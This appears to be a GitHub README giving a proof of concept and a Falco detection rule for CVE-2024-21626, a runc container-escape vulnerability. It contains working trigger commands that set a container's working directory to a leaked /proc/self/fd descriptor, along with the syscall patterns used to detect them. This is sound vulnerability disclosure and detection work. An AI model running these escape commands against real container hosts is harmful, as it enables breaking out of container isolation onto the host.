nitrocao/cve-2024-21626PoC and Detection for CVE-2024-21626
For detailed explanation for this vulnerability, plz refer to my article.
No need to build a custom image, just run a container with -w parameter:
docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo
The exploits have the following characteristics:
execve(2) a process with a special working directory which starts with /proc/self/fd/.symlink(2) or symlinkat(2) with a special target directory link which starts with /proc/self/fd/.open(2), openat(2) or openat2(2) with filenames like /proc/\d+/cwd/.*.https://github.com/snyk/leaky-vessels-dynamic-detector
Here is the custom Falco rule:
- macro: container
condition: (container.id != host and container.name exists)
- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
desc: >
Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
condition: >
container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
priority: CRITICAL
But filtering false positives with proc.name is not a good idea.
